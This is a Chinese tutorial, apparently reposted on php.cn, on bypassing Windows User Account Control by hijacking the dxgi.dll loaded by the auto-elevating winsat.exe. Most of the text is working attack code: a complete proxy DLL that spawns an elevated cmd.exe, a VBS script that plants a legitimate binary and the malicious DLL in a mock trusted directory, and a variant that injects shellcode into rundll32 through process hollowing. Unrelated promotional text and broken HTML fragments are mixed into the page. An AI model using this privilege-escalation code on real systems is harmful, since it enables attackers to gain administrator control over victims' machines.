0x11 uac简介
用户账户控制(User Account Control,简称UAC)是微软公司在Windows Vista及更高版本操作系统中引入的一种安全机制。其目的是通过提示用户授权应用程序访问硬盘驱动器和系统文件,来防止恶意软件损害系统。
UAC需要授权的操作包括:
效果如下:

UAC设置有不同的级别,具体设置如下:

为什么有些应用程序不需要UAC提示?
简单来说,因为这些应用程序可以自动提升权限(autoElevate)。这也是常见的UAC绕过方法之一。常见方法包括:
具有autoElevate属性的应用程序在启动时会自动以管理员身份运行。这些应用程序通常具有微软的数字签名,被认为是可信的。如果我们通过COM技术或DLL劫持这些应用程序,也能获得管理员权限,但这需要较高的分析成本和技术难度。
0x12 BypassUAC
接下来,我们将寻找具有autoElevate权限的应用程序,并通过DLL劫持来绕过UAC。关于DLL劫持的原理,网上已有许多相关的文章,这里不再赘述。
首先,使用以下命令查找具有autoElevate属性的可执行文件:
strings.exe -s *.exe | findstr /i autoelevate

我们选择了winsat.exe作为目标劫持程序。查看该程序加载的DLL,发现其会加载dxgi.dll。

下面是我们编写的DLL劫持代码,原理如下图所示(图源自国外):

可以通过dllexp查看DLL内的函数:
Diapo是一个简单且易于使用的内容滚动幻灯片插件,让你能够在网页中展示很酷的动画切换效果。此插件所能展示的内容不仅仅是图片,甚至可以是视频,其他任意你能想到的网页元素都能显示在其上。
109

你可以自行编写所需的DLL,也可以使用自动化工具生成。经过多次尝试和团队wlpz师傅的指导,我们最终的目标是通过DLL劫持运行cmd.exe,主要代码如下:
# include "pch.h"
#include <windows.h>
#include <wtsapi32.h>
#pragma comment(lib, "Wtsapi32.lib")
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
<p>EXTERNC {
FARPROC Hijack_ApplyCompatResolutionQuirking;
FARPROC Hijack_CompatString;
FARPROC Hijack_CompatValue;
FARPROC Hijack_CreateDXGIFactory;
FARPROC Hijack_CreateDXGIFactory1;
FARPROC Hijack_CreateDXGIFactory2;
FARPROC Hijack_DXGID3D10CreateDevice;
FARPROC Hijack_DXGID3D10CreateLayeredDevice;
FARPROC Hijack_DXGID3D10GetLayeredDeviceSize;
FARPROC Hijack_DXGID3D10RegisterLayers;
FARPROC Hijack_DXGIDeclareAdapterRemovalSupport;
FARPROC Hijack_DXGIDumpJournal;
FARPROC Hijack_DXGIGetDebugInterface1;
FARPROC Hijack_DXGIReportAdapterConfiguration;
FARPROC Hijack_PIXBeginCapture;
FARPROC Hijack_PIXEndCapture;
FARPROC Hijack_PIXGetCaptureState;
FARPROC Hijack_SetAppCompatStringPointer;
FARPROC Hijack_UpdateHMDEmulationStatus;
}</p><p>namespace DLLHijacker{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load(){
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("dxgi"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName){
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}</p><p>using namespace DLLHijacker;</p><p>void StartProcess(){
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
WCHAR cmdline[] = L"cmd.exe";</p><pre class="brush:php;toolbar:false;"><pre class="brush:php;toolbar:false;">CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking"); Hijack_CompatString = GetAddress("CompatString"); Hijack_CompatValue = GetAddress("CompatValue"); Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory"); Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1"); Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2"); Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice"); Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice"); Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize"); Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers"); Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport"); Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal"); Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1"); Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration"); Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture"); Hijack_PIXEndCapture = GetAddress("PIXEndCapture"); Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState"); Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer"); Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");
<pre class="brush:php;toolbar:false;"> StartProcess();
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;}
然而,我们遇到了一个问题:系统的DLL通常需要权限才能更改或移动。为了解决这个问题,我们找到了一个VBS脚本,可以帮助我们完成操作,代码如下:
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set wshshell = wscript.createobject("WScript.Shell")</p><p>' Get target binary and payload
WScript.StdOut.Write("System32 binary: ")
strBinary = WScript.StdIn.ReadLine()
WScript.StdOut.Write("Path to your DLL: ")
strDLL = WScript.StdIn.ReadLine()</p><p>' Create folders
Const target = "c:\windows "
target_sys32 = (target & "system32\")
target_binary = (target_sys32 & strBinary)</p><p>If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If
If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If</p><p>' Copy legit binary and evil DLL
oFSO.CopyFile ("c:\windows\system32\" & strBinary), target_binary
oFSO.CopyFile strDLL, target_sys32</p><p>' Run, Forrest, Run!
wshshell.Run("""" & target_binary & """")</p><p>' Clean files
WScript.StdOut.Write("Clean up? (press enter to continue)")
WScript.StdIn.ReadLine()
wshshell.Run("powershell /c ""rm -r """"\?\" & target & """""""")最终效果如下:

如果需要加载shellcode,可以修改其中的函数,例如如下所示:
void StartProcess(){
unsigned char shellcode_calc[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
TCHAR CommandLine[] = TEXT("c:\windows\system32\rundll32.exe");
CONTEXT Context;
struct _STARTUPINFOA StartupInfo;
struct _PROCESS_INFORMATION ProcessInformation;
LPVOID lpBaseAddress;</p><p>ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = 104;
if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) {
Context.ContextFlags = 1048579;
GetThreadContext(ProcessInformation.hThread, &Context);
lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0);
Context.Rip = (DWORD64)lpBaseAddress;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
}最后,学习该方法时,我们发现作者整理了一份可劫持的系统表,地址如下:
https://www.php.cn/link/8500107a87fb6519162b221f50d23acf

有兴趣的可以尝试复现。
参考文章:
https://www.php.cn/link/60ca0083f9f3c57b8a91c3022d460c55
https://www.php.cn/link/2ea4096fb5cd947a1aeead6447a922a6
https://www.php.cn/link/eac53e141058c06737f091776b2e5462
以上就是bypassUAC && DLL劫持的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号